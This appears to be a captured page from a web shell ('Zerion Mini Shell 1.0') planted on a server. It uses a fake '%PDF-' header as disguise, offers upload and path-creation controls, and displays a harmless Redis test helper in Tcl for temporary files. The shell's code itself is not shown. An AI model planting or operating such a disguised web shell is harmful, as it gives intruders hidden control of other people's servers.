%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/3/root/usr/src/redis-stable/tests/support/
Upload File :
Create Path :
Current File : //proc/3/root/usr/src/redis-stable/tests/support/tmpfile.tcl

set ::tmpcounter 0
set ::tmproot "./tests/tmp"
file mkdir $::tmproot

# returns a dirname unique to this process to write to
proc tmpdir {basename} {
    set dir [file join $::tmproot $basename.[pid].[incr ::tmpcounter]]
    file mkdir $dir
    set _ $dir
}

# return a filename unique to this process to write to
proc tmpfile {basename} {
    file join $::tmproot $basename.[pid].[incr ::tmpcounter]
}

Zerion Mini Shell 1.0